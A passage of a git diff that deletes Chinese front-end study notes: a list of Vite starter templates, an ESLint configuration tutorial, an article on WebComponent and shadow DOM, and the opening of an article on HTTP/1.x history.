Element-plus. -- [vivu-npm](https://github.com/logustra/vivu-npm) - Starter template to build component library. -- [vue3-pc-template](https://github.com/parajs/vue3-pc-template) - Vite + ElementPlus + Vue3 + TS + Vue-Router4 + Vuex4 + Vue-use + Vue-i18n PC Template. -- [ViTauri](https://github.com/NicolaSpadari/vitauri) - Vite + Tauri + Vue3 + TS + Vue-Router4 + Auto imports. -- [vue-hbs-admin](https://github.com/developer-plus/vue-hbs-admin) - Admin starter template based on `Vite` + `Vue3` + `TypeScript` + `Vue-Router4` + `Pinia` + `Unocss` + `Ant-design-vue` + `Auto imports`. -- [vite-vue-proste](https://github.com/xyhxx/vite-vue-proste) - Pinia + Typescript + Vue-Router4 + Vitest + Vue-Test-Utils + Vue-Query + Sass + ESLint + Stylelint + Prettier + `project presets`. -- [vue-vite-ssr](https://github.com/EverSeenTOTOTO/browser-app-boilerplate/tree/vue-vite-ssr) - Typescript, Eslint, Stylelint, Husky, Lint-staged and Commitlint. -- [vue3-vant-mobile](https://github.com/CharleeWa/vue3-vant-mobile) - Vite + Vue3 + Vant4 + Pinia + Vue-Router4 + TypeScript Mobile Template. -- [vue3-powerbuild](https://github.com/UIC-Group/vue3-powerbuild) - Vue 3 + TypeScript + Tailwind CSS + Vite + Storybook + ESLint + Prettier. -- [vue-ts-starter](https://github.com/yugasun/vue-ts-starter) - Vue3 + TypeScript + Vite + Pinia. -- [vitequality](https://github.com/cstuncsik/vitequality) - Vue 3 + Typescript + Vue Router + Pinia + Eslint + Jest + Cypress. -- [vue-vite-tw-ts](https://github.com/ChronosMasterOfAllTime/vue-vite-tw-ts) - Vue 3 + Vite + Vitest + Cypress E2E + Naive UI + Pinia + Vue Router. -- [vite-vue-box](https://github.com/NelsonYong/vite-vue-box) - Vite + Vue 3 + Ts + TailWindCss + VueHook Plus + Pinia + Axios + ESLint + Stylelint. -- [vite-vue-js-starter-template](https://github.com/ElanYoung/vite-vue-js-starter-template) - Vite + Vue3 + JavaScript + Vue Router + Pinia + TDesign + ESLint + Stylelint + Prettier Simple Template. -- [vite-vue3-bootstrap-ts-vitest-starter](https://github.com/marcoarruda/vite-vue3-bootstrap-ts-vitest-starter) - Vue 3 + TypeScript + Vite + Bootstrap Vue 3 + Vitest. -- [vue-xs-admin](https://github.com/jsxiaosi/vue-xs-admin) - Based on Vue3, Vite3 ElementPlus, TypeScript, Pinia, VueRouter. -- [vue-component-template](https://github.com/houtaroy/vue-component-template) - Vue 3, TSX, ESLint, Prettier. -- [ionic-vue-vite](https://github.com/reslear/ionic-vue-vite) - Vue 3 + Vue Router + Vite + Ionic. -- [ionic-vue-pnpm-monorepo](https://github.com/reslear/ionic-vue-pnpm-monorepo) - Vue 3 + Vue Router + Vite + Ionic + pnpm monorepo. -- [ionic-vue-pnpm-express-monorepo](https://github.com/reslear/ionic-vue-pnpm-express-monorepo) - Frontend: Vue 3 + Vue Router + Vite + Ionic, Backend: express + pnpm monorepo. -- [ionic-vue-capacitor](https://github.com/reslear/ionic-vue-capacitor) - Vue 3 + Vue Router + Vite + Ionic + Capacitor + pnpm monorepo. -- [ultimate-vite-ts-less-template](https://github.com/alireza0sfr/vue3-vite-ts-base) - Vue 3, TypeScript, Less, i18n, Vitest, Vitepress, lodash, Axios, Pinia, Built-in logger, Built-in Input Validators, env files. -- [vite-vue-h5-app](https://github.com/l-x-f/vite-vue-h5-app) - Vite 3 + Vue 3.2 + TypeScript + Vant mobile applications. -- [vulcan](https://github.com/pengzhanbo/vulcan) - The template for mobile application. Vite, Vue 3, TypeScript, Sass, i18n, Vitest&Cypress, Pinia, APIs&Mock, ESLint, Prettier, auto-importing. -- [vite-plugin-ssr-vue3-ts-compositionAPI-i18n-fetchData](https://github.com/alivadjid/vite-plugin-ssr-i18n-vue3) - Vue3 + Typescript + CompositionAPI + i18n + fetchData. -- [vite-plugin-vue-sfc-in-js](https://github.com/iosamuel/vite-plugin-vue-sfc-in-js) - Vue SFC syntax in JS files, allows to create multiple components in a single .js file. - -#### Vue 2 - -- [vite-vue2-windicss-starter](https://github.com/lstoeferle/vite-vue2-windicss-starter) - Vue 2, Vue Router, Composition API, VueUse, Windi CSS and TypeScript. -- [vite-ts-vue2-todo](https://github.com/nabaonan/todos-action/tree/master/vue2-vite-ts) - Vue2 + ts + Vue-Router3 + Pinia1 + Composition API. -- [vite-vue2-ts-starter](https://github.com/logue/vite-vue2-ts-starter) - Vue2 TypeScript startar template using vue-property-decorator, vue-router, Vuex. -- [vite-vue2-ts-vuetify-starter](https://github.com/logue/vite-vue2-vuetify-ts-starter) - It is the above vite-vue2-ts-starter with Vuetify and its optimized settings. Includes basic templates. -- [vite-vue2-ts-template-starter](https://github.com/Luncode/vite-vue2-ts-template-starter) - Vite + Vue2 + Typescript + Vuex + Vue-router + Axios + Sass Simple Template. -- [vitify-admin](https://github.com/kingyue737/vitify-admin) - Vuetify admin starter template with full TypeScript support and intellisense of Vuetify components. -- [vite-vue2-js-starter-template](https://github.com/ElanYoung/vite-vue2-js-starter-template) - Vite + Vue2 + JavaScript + Vue Router + Vuex + Axios + Less + ESLint + Stylelint + Prettier Simple Template. - -#### React - -- [Vitamin](https://github.com/wtchnm/Vitamin) - React TypeScript, TailwindCSS, SPA + PWA, Cypress and CI. -- [vite-reactts-eslint-prettier](https://github.com/TheSwordBreaker/vite-reactts-eslint-prettier) - React, TypeScript, ESlint, Prettier, Pre-commit. -- [react-vite-admin](https://github.com/ychengcloud/react-vite-admin) - React, Recoil, React Query, React Hooks, TypeScript, Axios. -- [vite-template-react](https://github.com/SafdarJamal/vite-template-react) - A Create React App-like template. -- [vitejs-template-react-rescript](https://github.com/jihchi/vitejs-template-react-rescript) - React + ReScript. -- [template-vite-react](https://github.com/lzm0x219/template-vite-react) - A minimal React Vite starter template. -- [reactjs-vite-tailwindcss-boilerplate](https://github.com/joaopaulomoraes/reactjs-vite-tailwindcss-boilerplate) - React 18, TypeScript, Vitest, Testing Library, TailwindCSS 3, Eslint and Prettier. -- [Tropical](https://github.com/bensmithett/tropical) - React, Storybook, MDX, Fela, SSR prerendering, and [islands architecture](https://www.npmjs.com/package/tropical-islands). -- [vite-plugin-react-refresh](https://github.com/fengxinming/vite-plugins/tree/main/packages/vite-plugin-react-refresh) - Provide enhancements for [@vitejs/plugin-react-refresh](https://www.npmjs.com/package/@vitejs/plugin-react-refresh). -- [vite-reactts18-chakra-jest-husky](https://github.com/The24thDS/vite-reactts18-chakra-jest-husky) - React 18, TypeScript, Chakra UI, Jest, ESLint, Prettier, Husky. -- [react-ts-vite-template](https://github.com/fabien-ml/react-ts-vite-template) - React, TypeScript, Jest, Testing Library, Cypress, ESLint, Prettier, Husky. -- [vite-reactts-tailwind-rtk-eslint](https://github.com/IsaiaPhiliph/vite-reactts-tailwind-rtk-eslint) - React, TypeScript, Tailwind CSS, Redux Toolkit, eslint. -- [vite-react-tailwind-template](https://github.com/Innei/vite-react-tailwind-template) - React 17, TypeScript, Jest, ESLint, Prettier, Husky, Tailwind CSS, PostCSS, pnpm. -- [stravital](https://github.com/rizkimcitra/stravital) - TypeScript, Git Hooks, Commitizen, Lint Staged, TailwindCSS. -- [vite-react-ts-tailwind-firebase-starter](https://github.com/TeXmeijin/vite-react-ts-tailwind-firebase-starter) - Starter using Vite + React + TypeScript + Tailwind CSS (daisyUI) + Firebase (v9) + Prettier + ESLint. -- [vite-react-ts-starter](https://github.com/uchihamalolan/vite-react-ts) - React, TypeScript, Jest, ESLint, Prettier, TailwindCSS, Husky, Conventional Commits. -- [vital](https://github.com/jvidalv/vital) - React, TypeScript, Tailwind (JIT), CSS-Modules, Jest, Atomic Design, Prettier, Husky, Commit-lint. -- [vite-react-ts-ghactions-template](https://github.com/pchmn/vite-react-ts-ghactions-template) - React, TypeScript, Vitest + React Testing Library, GitHub Actions + GitHub Pages, ESLint, Prettier, Husky, Commitlint. -- [vite-react-tailwind-v3](https://github.com/huibizhang/template-vite-react-tailwind-v3) - Starter template for React + TailwindCSS and `prettier-plugin-tailwindcss` build-in. -- [vite-react-ts-tailwind-v3](https://github.com/huibizhang/template-vite-react-ts-tailwind-v3) - Starter template for React + Typescript + TailwindCSS and `prettier-plugin-tailwindcss` build-in. -- [vite-react-ts-extended](https://github.com/laststance/vite-react-ts-extended) - React, TypeScript, TailwindCSS, MSW, Axios, Jest, React Testing Library, ESLint, Prettier, GitHub Actions. -- [vite-react-starter](https://github.com/fabgrel10/vite-react-starter) - React + ESLint + Prettier + SASS + Emotion + TailwindCSS + Jest + Testing Library. -- [chrome-extension-boilerplate-react-vite](https://github.com/Jonghakseo/chrome-extension-boilerplate-react-vite) - React + TypeScript + SASS + Prettier + ESLint + GitHub Actions + Chrome Extension Manifest v3. -- [vite-ant-design-pro](https://github.com/1247748612/vite-ant-design-pro) - React + antd + ProComponents + ReactQuery + ReactRouter6. -- [vite-rtk-query](https://github.com/laststance/vite-rtk-query) - React, TypeScript, Redux Toolkit, RTK Query, TailwindCSS, MSW, Jest, React Testing Library, ESLint, Prettier. -- [vite-react-proste](https://github.com/xyhxx/vite-react-proste) - React + TypeScript + `react-router-dom` + Recoil + SASS + Testing Library + `react-query` + ESLint + Stylelint + Prettier. -- [React-PWA](https://github.com/suren-atoyan/react-pwa) - React v18, TypeScript, Vite, React Router v6, MUI v5, Recoil, PWA, Eslint, Prettier, Husky, lint-staged, https localhost and more. -- [vite-react-ts-minimal-template](https://github.com/alessandropisu/vite-react-ts-minimal-template) - React + TypeScript + Airbnb ESLint + Prettier + Husky. -- [react-vite-ssr](https://github.com/EverSeenTOTOTO/browser-app-boilerplate/tree/react-vite-ssr) - Mobx, Typescript, Eslint, Stylelint, Husky, Lint-staged and Commitlint. -- [Viact](https://github.com/MR-Mostafa/Viact) - React + TypeScript + ESLint + Prettier + Support RTL + mock REST API Viact + Storybook, ErrorBoundary, UnoCss and more. -- [Viterts](https://github.com/erdoganbulut/viterts/) - React + TypeScript + Redux + React Router + Jest + ESLint + Airbnb + Prettier + SASS. -- [ViteRC](https://github.com/potreco/viterc) - React 18 + TypeScript + ESLint (Airbnb) + Prettier + Husky + Jest + Absolute imports + Commit linting. -- [VRTTV](https://github.com/Drumpy/vrttv-boilerplate) - React + TypeScript + TailwindCSS + ESLint + Prettier + Husky + Conventional Commits + Gitmoji + GitHub Actions + Vercel Deploy. -- [React Starter Kit](https://github.com/kriasoft/react-starter-kit) - Jamstack, React, React Router, Material UI, Firebase Auth, TypeScript, ESLint, Prettier, Jest, GitHub Actions. -- [vite-mern-template](https://github.com/apicgg/vite-mern-template) - React 18 + TypeScript + Vite + Redux Toolkit + ESLint + React Router DOM + Axios + React Icons + React Toastify + Express + Mongoose. -- [react-pipeline](https://github.com/maifeeulasad/react-pipeline) - React 18 + TS + AntD + GitHub Pages + Tailwind + Sass + React Router DOM + ESLint. -- [Varsarr](https://github.com/altmshfkgudtjr/varsarr) - React, Typescript, Styled-Components, Recoil, React-Query, Axios, Absolute imports. -- [viterjs-template](https://github.com/emre-cil/viterjs-template) - React + JavaScript + Redux + Material UI + Axios + ESLint + Prettier. -- [react-vite-ts-boilerplate](https://github.com/choisohyun/react-vite-ts-boilerplate) - React 18, TypeScript, SCSS, ESLint, Prettier, Vitest. -- [vite-react-universal-template](https://github.com/laoer536/vite3.0-react18-TypeScript-router-dom6-mobx6-Eslint-prettier-template) - React18 + TypeScript + `react-router-dom` + Mobx + ESlint + Prettier+Husky, and APIs auto importing. -- [vite-reactts18-eslint-tailwindcss](https://github.com/dserranoc/vite-reactts18-eslint-tailwindcss) - React 18 + TypeScript + ESLint + TailwindCSS. -- [vite-plugin-react-views](https://github.com/KAROTT7/vite-plugin-react-views) - Create routes automatically based on File System. -- [react-vite-template](https://github.com/985563349/react-vite-template) - A react project template. -- [react-xs-admin](https://github.com/jsxiaosi/react-xs-admin) - The background management system template developed based on React18 + ReactRouteV6 + Vite + And Design + ReactIntl + ReactRedux + Emulation. -- [vite-mui-ts](https://github.com/emre-cil/vite-mui-ts) - React + TypeScript + Redux + Material UI + RRD + ESLint + Prettier. -- [leo-react-app](https://github.com/Leo-Henrique/leo-react-app) - React + SASS | Template for React applications with SASS boilerplate for consistent interfaces. -- [template-vite-react-ts-tailwind](https://github.com/RoyRao2333/template-vite-react-ts-tailwind) - React + TypeScript + Tailwind CSS + Eslint + Prettier. -- [vite-react-ts-tailwind-template](https://github.com/nrabhiram/vite-react-ts-tailwind-template) - React, TypeScript, ESLint, Prettier, Husky, Vitest for specs, and Tailwind + CSS Modules. -- [vite-react-ts-template](https://github.com/bartstc/vite-ts-react-template) - React 18, TypeScript, ESlint, Prettier, Dev Container, Vitest, Storybook, Playwright, MSW, React Router 6, React Query, Chakra UI, Zustand. \ No newline at end of file diff --git a/src/Vite/Vite.md b/src/Vite/Vite.md deleted file mode 100644 index ad2e9c81..00000000 --- a/src/Vite/Vite.md +++ /dev/null @@ -1,7 +0,0 @@ -Esbuild 作为打包工具也有一些缺点。 - -- 不支持降级到 `ES5` 的代码。这意味着在低端浏览器代码会跑不起来。 -- 不支持 `const enum` 等语法。这意味着单独使用这些语法在 esbuild 中会直接抛错。 -- 不提供操作打包产物的接口,像 Rollup 中灵活处理打包产物的能力(如`renderChunk`钩子)在 Esbuild 当中完全没有。 -- 不支持自定义 Code Splitting 策略。传统的 Webpack 和 Rollup 都提供了自定义拆包策略的 API,而 Esbuild 并未提供,从而降级了拆包优化的灵活性。 -- Esbuild 并没有实现 TS 的类型系统,在编译 `TS`(或者 `TSX`) 文件时仅仅抹掉了类型相关的代码,暂时没有能力实现类型检查。`vite build`之前会先执行`tsc`命令,也就是借助 TS 官方的编译器进行类型检查。 diff --git "a/src/Vite/\351\235\231\346\200\201\350\265\204\346\272\220\345\244\204\347\220\206.md" "b/src/Vite/\351\235\231\346\200\201\350\265\204\346\272\220\345\244\204\347\220\206.md" deleted file mode 100644 index e69de29b..00000000 diff --git "a/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" "b/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" deleted file mode 100644 index 4fe12b56..00000000 --- "a/src/Vite/\351\241\271\347\233\256 Lint \347\256\241\347\220\206.md" +++ /dev/null @@ -1,381 +0,0 @@ -## Eslint - -Eslint 是国外的前端大牛`Nicholas C. Zakas`在 2013 年发起的一个开源项目,有一本书被誉为前端界的"圣经",叫《JavaScript 高级程序设计》(即红宝书),他正是这本书的作者。 - -`Nicholas` 当初做这个开源项目,就是为了打造一款插件化的 JavaScript 代码静态检查工具,通过解析代码的 AST 来分析代码格式,检查代码的风格和质量问题。现在,Eslint 已经成为一个非常成功的开源项目了,基本上属于前端项目中 Lint 工具的标配。 - -ESLint 的使用并不复杂,主要通过配置文件对各种代码格式的规则(`rules`)进行配置,以指定具体的代码规范。目前开源社区也有一些成熟的规范集可供使用,著名的包括[Airbnb JavaScript 代码规范](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fairbnb%2Fjavascript)、[Standard JavaScript 规范](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Fstandard%2Fstandard%2Fblob%2Fmaster%2Fdocs%2FREADME-zhcn.md)、[Google JavaScript 规范](https://link.juejin.cn/?target=https%3A%2F%2Fgoogle.github.io%2Fstyleguide%2Fjsguide.html)等等,你可以在项目中直接使用这些成熟的规范,也可以自己定制一套团队独有的代码规范,这在一些大型团队当中还是很常见的。 - -#### 安装 & 初始化 - -```bash -pnpm i eslint -D -``` - -接着执行 ESLint 的初始化命令,并进行如下的命令行交互: - -```ts -npx eslint --init -``` - -#### 核心配置 - -#### 1. parser - 解析器 - -ESLint 底层默认使用 [Espree](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Feslint%2Fespree)来进行 AST 解析,这个解析器目前已经基于 `Acron` 来实现,虽然说 `Acron` 目前能够解析绝大多数的 [ECMAScript 规范的语法](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Facornjs%2Facorn%2Ftree%2Fmaster%2Facorn),但还是不支持 TypeScript ,因此需要引入其他的解析器完成 TS 的解析。 - -社区提供了`@typescript-eslint/parser`这个解决方案,专门为了 TypeScript 的解析而诞生,将 `TS` 代码转换为 `Espree` 能够识别的格式(即 [**Estree 格式**](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Festree%2Festree)),然后在 Eslint 下通过`Espree`进行格式检查, 以此兼容了 TypeScript 语法。 - -#### 2. parserOptions - 解析器选项 - -这个配置可以对上述的解析器进行能力定制,默认情况下 ESLint 支持 ES5 语法,你可以配置这个选项,具体内容如下: - -- ecmaVersion: 这个配置和 `Acron` 的 [ecmaVersion](https://link.juejin.cn/?target=https%3A%2F%2Fgithub.com%2Facornjs%2Facorn%2Ftree%2Fmaster%2Facorn) 是兼容的,可以配置 `ES + 数字`(如 ES6)或者`ES + 年份`(如 ES2015),也可以直接配置为`latest`,启用最新的 ES 语法。 -- sourceType: 默认为`script`,如果使用 ES Module 则应设置为`module` -- ecmaFeatures: 为一个对象,表示想使用的额外语言特性,如开启 `jsx` - -#### 3. rules - 具体代码规则 - -`rules` 配置即代表在 ESLint 中手动调整哪些代码规则,比如`禁止在 if 语句中使用赋值语句`这条规则可以像如下的方式配置: - -```ts -// .eslintrc.js -module.exports = { - // 其它配置省略 - rules: { - // key 为规则名,value 配置内容 - "no-cond-assign": ["error", "always"] - } -} -``` - -在 rules 对象中,`key` 一般为`规则名`,`value` 为具体的配置内容,在上述的例子中我们设置为一个数组,数组第一项为规则的 `ID`,第二项为`规则的配置`。 - -这里重点说一说规则的 ID,它的语法对所有规则都适用,你可以设置以下的值: - -- `off` 或 `0`: 表示关闭规则。 -- `warn` 或 `1`: 表示开启规则,不过违背规则后只抛出 warning,而不会导致程序退出。 -- `error` 或 `2`: 表示开启规则,不过违背规则后抛出 error,程序会退出。 - -具体的规则配置可能会不一样,有的是一个字符串,有的可以配置一个对象,你可以参考 [ESLint 官方文档](https://link.juejin.cn/?target=https%3A%2F%2Fcn.eslint.org%2Fdocs%2Frules%2F)。 - -当然,你也能直接将 `rules` 对象的 `value` 配置成 ID,如: `"no-cond-assign": "error"`。 - -#### 4. plugins - -上面提到过 ESLint 的 parser 基于`Acorn`实现,不能直接解析 TypeScript,需要我们指定 parser 选项为`@typescript-eslint/parser`才能兼容 TS 的解析。同理,ESLint 本身也没有内置 TypeScript 的代码规则,这个时候 ESLint 的插件系统就派上用场了。我们需要通过添加 ESLint 插件来增加一些特定的规则,比如添加`@typescript-eslint/eslint-plugin` 来拓展一些关于 TS 代码的规则,如下代码所示: - -```js -// .eslintrc.js -module.exports = { - // 添加 TS 规则,可省略`eslint-plugin` - plugins: ['@typescript-eslint'] -} -``` - -值得注意的是,添加插件后只是拓展了 ESLint 本身的规则集,但 ESLint 默认并**没有开启**这些规则的校验!如果要开启或者调整这些规则,你需要在 rules 中进行配置,如: - -```js -// .eslintrc.js -module.exports = { - // 开启一些 TS 规则 - rules: { - '@typescript-eslint/ban-ts-comment': 'error', - '@typescript-eslint/no-explicit-any': 'warn', - } -} -``` - -#### 5. extends - 继承配置 - -extends 相当于`继承`另外一份 ESLint 配置,可以配置为一个字符串,也可以配置成一个字符串数组。主要分如下 3 种情况: - -1. 从 ESLint 本身继承; -2. 从类似 `eslint-config-xxx` 的 npm 包继承; -3. 从 ESLint 插件继承; -4. 从配置文件中继承。 - -```ts -// .eslintrc.js -module.exports = { - "extends": [ - // 第1种情况 - "eslint:recommended", - // or 启用当前安装的 ESLint 中所有的核心规则 - "eslint:all", - // 第2种情况,一般配置的时候可以省略 `eslint-config` - "standard" - // 第3种情况,可以省略包名中的 `eslint-plugin` - // 格式一般为: `plugin:${pluginName}/${configName}` - "plugin:react/recommended" - "plugin:@typescript-eslint/recommended", - // 第4种 - "./node_modules/coding-standard/eslintDefaults.js", - ] -} -``` - -有了 extends 的配置,对于之前所说的 ESLint 插件中的繁多配置,我们就**不需要手动一一开启**了,通过 extends 字段即可自动开启插件中的推荐规则: - -```js -extends: ["plugin:@typescript-eslint/recommended"] -``` - -更多继承配置项:[Configuring ESLint - ESLint中文文档](https://eslint.bootcss.com/docs/user-guide/configuring) - -#### 6. env 和 globals - -这两个配置分别表示`运行环境`和`全局变量`,在指定的运行环境中会预设一些全局变量,比如: - -```js -// .eslint.js -module.export = { - "env": { - "browser": "true", - "node": "true" - } -} -``` - -指定上述的 `env` 配置后便会启用浏览器和 Node.js 环境,这两个环境中的一些全局变量(如 `window`、`global` 等)会同时启用。 - -有些全局变量是业务代码引入的第三方库所声明,这里就需要在`globals`配置中声明全局变量了。每个全局变量的配置值有 3 种情况: - -1. `"writable"`或者 `true`,表示变量可重写; -2. `"readonly"`或者`false`,表示变量不可重写; -3. `"off"`,表示禁用该全局变量。 - -那`jquery`举例,我们可以在配置文件中声明如下: - -```js -// .eslintrc.js -module.exports = { - "globals": { - // 不可重写 - "$": false, - "jQuery": false - } -} -``` - -相信有了上述核心配置部分的讲解,你再回头看看初始化生成的 ESLint 配置文件,你也能很好地理解各个配置项的含义了。 - -### eslint-plugin-vue - -是Vue.js 的官方 ESLint 插件。这个插件允许我们使用 ESLint 检查文件的` - - - - -
    -

    time.geekbang.org

    -

    time1.geekbang.org

    -
    - - - - - -``` - -详细观察上面这段代码,我们可以得出:要使用 WebComponent,通常要实现下面三个步骤。 - -**首先,使用 template 属性来创建模板**。利用 DOM 可以查找到模板的内容,但是模板元素是不会被渲染到页面上的,也就是说 DOM 树中的 template 节点不会出现在布局树中,所以我们可以使用 template 来自定义一些基础的元素结构,这些基础的元素结构是可以被重复使用的。一般模板定义好之后,我们还需要在模板的内部定义样式信息。 - -**其次,我们需要创建一个 GeekBang 的类**。在该类的构造函数中要完成三件事: - -- 查找模板内容; -- 创建影子 DOM; -- 再将模板添加到影子 DOM 上 - -上面最难理解的是影子 DOM,其实影子 DOM 的作用是将模板中的内容与全局 DOM 和 CSS 进行隔离,这样我们就可以实现元素和样式的私有化了。你可以把影子 DOM 看成是一个作用域,其内部的样式和元素是不会影响到全局的样式和元素的,而在全局环境下,要访问影子 DOM 内部的样式或者元素也是需要通过约定好的接口的。 - -总之,通过影子 DOM,我们就实现了 CSS 和元素的封装,在创建好封装影子 DOM 的类之后,我们就可以使用 `customElements.define` 来自定义元素了(可参考上述代码定义元素的方式)。 - -> 最后,就很简单了,可以像正常使用 HTML 元素一样使用该元素,如上述代码中的``。 - - -上述代码最终渲染出来的页面,如下图所示: - -![](http://blog.poetries.top/img-repo/2019/11/77.png) - -从图中我们可以看出,影子 DOM 内部的样式是不会影响到全局 CSSOM 的。另外,使用 DOM 接口也是无法直接查询到影子 DOM 内部元素的,比如你可以使用document.getElementsByTagName('div')来查找所有 div 元素,这时候你会发现影子 DOM 内部的元素都是无法查找的,因为要想查找影子 DOM 内部的元素需要专门的接口,所以通过这种方式又将影子内部的 DOM 和外部的 DOM 进行了隔离。 - -通过影子 DOM 可以隔离 CSS 和 DOM,不过需要注意一点,影子 DOM 的 JavaScript 脚本是不会被隔离的,比如在影子 DOM 定义的 JavaScript 函数依然可以被外部访问,这是因为 JavaScript 语言本身已经可以很好地实现组件化了。 - -## 浏览器如何实现影子 DOM - -关于 WebComponent 的使用方式我们就介绍到这里。WebComponent 整体知识点不多,内容也不复杂,我认为核心就是影子 DOM。上面我们介绍影子 DOM 的作用主要有以下两点: - -- 影子 DOM 中的元素对于整个网页是不可见的; -- 影子 DOM 的 CSS 不会影响到整个网页的 CSSOM,影子 DOM 内部的 CSS 只对内部的元素起作用。 - -那么浏览器是如何实现影子 DOM 的呢?下面我们就来分析下,如下图: - -![](http://blog.poetries.top/img-repo/2019/11/78.png) - -该图是上面那段示例代码对应的 DOM 结构图,从图中可以看出,我们使用了两次 geek-bang 属性,那么就会生成两个影子 DOM,并且每个影子 DOM 都有一个 shadow root 的根节点,我们可以将要展示的样式或者元素添加到影子 DOM 的根节点上,每个影子 DOM 你都可以看成是一个独立的 DOM,它有自己的样式、自己的属性,内部样式不会影响到外部样式,外部样式也不会影响到内部样式。 - -浏览器为了实现影子 DOM 的特性,在代码内部做了大量的条件判断,比如当通过 DOM 接口去查找元素时,渲染引擎会去判断 geek-bang 属性下面的 shadow-root 元素是否是影子 DOM,如果是影子 DOM,那么就直接跳过 shadow-root 元素的查询操作。所以这样通过 DOM API 就无法直接查询到影子 DOM 的内部元素了。 - -另外,当生成布局树的时候,渲染引擎也会判断 geek-bang 属性下面的 shadow-root 元素是否是影子 DOM,如果是,那么在影子 DOM 内部元素的节点选择 CSS 样式的时候,会直接使用影子 DOM 内部的 CSS 属性。所以这样最终渲染出来的效果就是影子 DOM 内部定义的样式。 - -## 总结 - -好了,今天就讲到这里,下面我来总结下本文的主要内容。 - -首先,我们介绍了组件化开发是程序员的刚需,所谓组件化就是功能模块要实现高内聚、低耦合的特性。不过由于 DOM 和 CSSOM 都是全局的,所以它们是影响了前端组件化的主要元素。基于这个原因,就出现 WebComponent,它包含自定义元素、影子 DOM 和 HTML 模板三种技术,使得开发者可以隔离 CSS 和 DOM。在此基础上,我们还重点介绍了影子 DOM 到底是怎么实现的。 - -关于 WebComponent 的未来如何,这里我们不好预测和评判,但是有一点可以肯定,WebComponent 也会采用渐进式迭代的方式向前推进,未来依然有很多坑需要去填 - diff --git "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L29 HTTP1\357\274\232HTTP\346\200\247\350\203\275\344\274\230\345\214\226.md" "b/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L29 HTTP1\357\274\232HTTP\346\200\247\350\203\275\344\274\230\345\214\226.md" deleted file mode 100644 index 1d970ced..00000000 --- "a/src/\346\265\217\350\247\210\345\231\250\345\267\245\344\275\234\345\216\237\347\220\206/L29 HTTP1\357\274\232HTTP\346\200\247\350\203\275\344\274\230\345\214\226.md" +++ /dev/null @@ -1,140 +0,0 @@ - -# HTTP1:HTTP性能优化 - -谈及浏览器中的网络,就避不开 HTTP。我们知道 HTTP 是浏览器中最重要且使用最多的协议,是浏览器和服务器之间的通信语言,也是互联网的基石。而随着浏览器的发展,HTTP 为了能适应新的形式也在持续进化,我认为学习 HTTP 的最佳途径就是了解其发展史,所以在接下来的三篇文章中,我会从浏览器发展的视角来和你聊聊 HTTP 演进。这三篇分别是即将完成使命的 HTTP/1、正在向我们走来的 HTTP/2,以及未来的 HTTP/3。 - -本文主要介绍的是 HTTP/1.1,我们先讲解 HTTP/1.1 的进化史,然后再介绍在进化过程中所遇到的各种瓶颈,以及对应的解决方法。 - -## 超文本传输协议 HTTP/0.9 - -首先我们来看看诞生最早的 HTTP/0.9。HTTP/0.9 是于 1991 年提出的,主要用于学术交流,需求很简单——用来在网络之间传递 HTML 超文本的内容,所以被称为超文本传输协议。整体来看,它的实现也很简单,采用了基于请求响应的模式,从客户端发出请求,服务器返回数据 - -下面我们就来看看 HTTP/0.9 的一个完整的请求流程(可参考下图)。 - -- 因为 HTTP 都是基于 TCP 协议的,所以客户端先要根据 IP 地址、端口和服务器建立 TCP 连接,而建立连接的过程就是 TCP 协议三次握手的过程。 -- 建立好连接之后,会发送一个 GET 请求行的信息,如GET /index.html用来获取 index.html。 -- 服务器接收请求信息之后,读取对应的 HTML 文件,并将数据以 ASCII 字符流返回给客户端。 -- HTML 文档传输完成后,断开连接。 - -![](http://blog.poetries.top/img-repo/2019/11/79.png) - -总的来说,当时的需求很简单,就是用来传输体积很小的 HTML 文件,所以 HTTP/0.9 的实现有以下三个特点。 - -- 第一个是只有一个请求行,并没有HTTP 请求头和请求体,因为只需要一个请求行就可以完整表达客户端的需求了。 -- 第二个是服务器也没有返回头信息,这是因为服务器端并不需要告诉客户端太多信息,只需要返回数据就可以了。 -- 第三个是返回的文件内容是以 ASCII 字符流来传输的,因为都是 HTML 格式的文件,所以使用 ASCII 字节码来传输是最合适的。 - -## 被浏览器推动的 HTTP/1.0 - -HTTP/0.9 虽然简单,但是已经可以满足当时的需求了。不过变化是这个世界永恒不变的主旋律,1994 年底出现了拨号上网服务,同年网景又推出一款浏览器,从此万维网就不局限于学术交流了,而是进入了高速的发展阶段。随之而来的是万维网联盟(W3C)和 HTTP 工作组(HTTP-WG)的创建,它们致力于 HTML 的发展和 HTTP 的改进。 - -万维网的高速发展带来了很多新的需求,而 HTTP/0.9 已经不能适用新兴网络的发展,所以这时就需要一个新的协议来支撑新兴网络,这就是 HTTP/1.0 诞生的原因。不过在详细分析 HTTP/1.0 之前,我们先来分析下新兴网络都带来了哪些新需求。 - -首先在浏览器中展示的不单是 HTML 文件了,还包括了 JavaScript、CSS、图片、音频、视频等不同类型的文件。因此支持多种类型的文件下载是 HTTP/1.0 的一个核心诉求,而且文件格式不仅仅局限于 ASCII 编码,还有很多其他类型编码的文件 - -## 那么该如何实现多种类型文件的下载呢? - - -文章开头我们说过,HTTP 是浏览器和服务器之间的通信语言,不过 HTTP/0.9 在建立好连接之后,只会发送类似GET /index.html的简单请求命令,并没有其他途径告诉服务器更多的信息,如文件编码、文件类型等。同样,服务器是直接返回数据给浏览器的,也没有其他途径告诉浏览器更多的关于服务器返回的文件信息。 - -这种简单的交流型形式无疑不能满足传输多种类型文件的需求,那为了让客户端和服务器能更深入地交流,HTTP/1.0 引入了请求头和响应头,它们都是以为 Key-Value 形式保存的,在 HTTP 发送请求时,会带上请求头信息,服务器返回数据时,会先返回响应头信息。至于 HTTP/1.0 具体的请求流程,你可以参考下图。 - - -![](http://blog.poetries.top/img-repo/2019/11/80.png) - -有了请求头和响应头,浏览器和服务器就能进行更加深入的交流了。 - -那 HTTP/1.0 是怎么通过请求头和响应头来支持多种不同类型的数据呢? - 